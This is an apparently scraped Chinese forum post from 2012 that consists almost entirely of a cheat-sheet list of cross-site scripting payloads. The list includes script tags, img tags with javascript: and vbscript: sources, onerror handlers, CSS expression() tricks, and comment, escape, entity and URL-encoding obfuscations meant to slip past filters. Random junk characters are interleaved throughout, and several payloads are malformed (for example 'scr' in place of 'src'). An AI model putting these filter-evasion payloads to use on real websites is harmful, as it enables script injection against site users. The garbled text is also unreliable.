<script>alert("跨站")</script> (最常用）
5 ?/ V8 g0 L2 r: i7 D( i<img scr=javascript:alert("跨站")></img>
/ Y1 t% I6 d M9 R& E: E' R<img scr="javascript: alert(/跨站/)></img> Y2 Y6 m- v3 H: n* j2 \: z* G
<img scr="javas????cript:alert(/跨站/)" width=150></img> (?用tab键弄出来的空格）
4 \# l5 E: ~) D+ n! h7 M( F I<img scr="#" onerror=alert(/跨站/)></img>
' G8 x) b! k. S c1 T. o! C6 G4 ?' R<img scr="#" style="xss:expression(alert(/xss/));"></img>! u" w: P" V. H3 q& l0 M9 y
<img scr="#"/* */onerror=alert(/xss/) width=150></img> (/**/ 表示注释）( d. X- ?5 ~; A% z3 w; o
<img src=vbscript:msgbox ("xss")></img>& R2 Y( n6 g8 i4 @# k0 t: ~
<style> input {left:expression (alert('xss'))}</style>
6 ], A& @, F' `% L/ W a0 H<div style={left:expression (alert('xss'))}></div>; {3 d" K- S, Z) `3 D* J- X& H4 f
<div style={left:exp/* */ression (alert('xss'))}></div>9 t; G' s( v' s- y$ ~' h {
<div style={left:\0065\0078ression (alert('xss'))}></div>9 j& S. n+ E0 B7 f
html 实体 <div style={left:&#ｘ0065；xpression (alert('xss'))}></div>. @4 b& b( E3 s; Y
unicode <div style="{left:expRessioN (alert('xss'))}">1 }- Z4 H; w9 {0 C; C' d& x. Y' w
$ K& k- H a9 {% @9 T"]}%3Cscript%3Ealert('我又来啦！.')%3C/script%3E{[&item="]<iframe%20src=WWW.BAIDU.COM%20width=400%20height=600></iframe>["
% p# I7 F$ {5 X2 C |
发表于 2012-9-15 14:09:13
收藏
支持
反对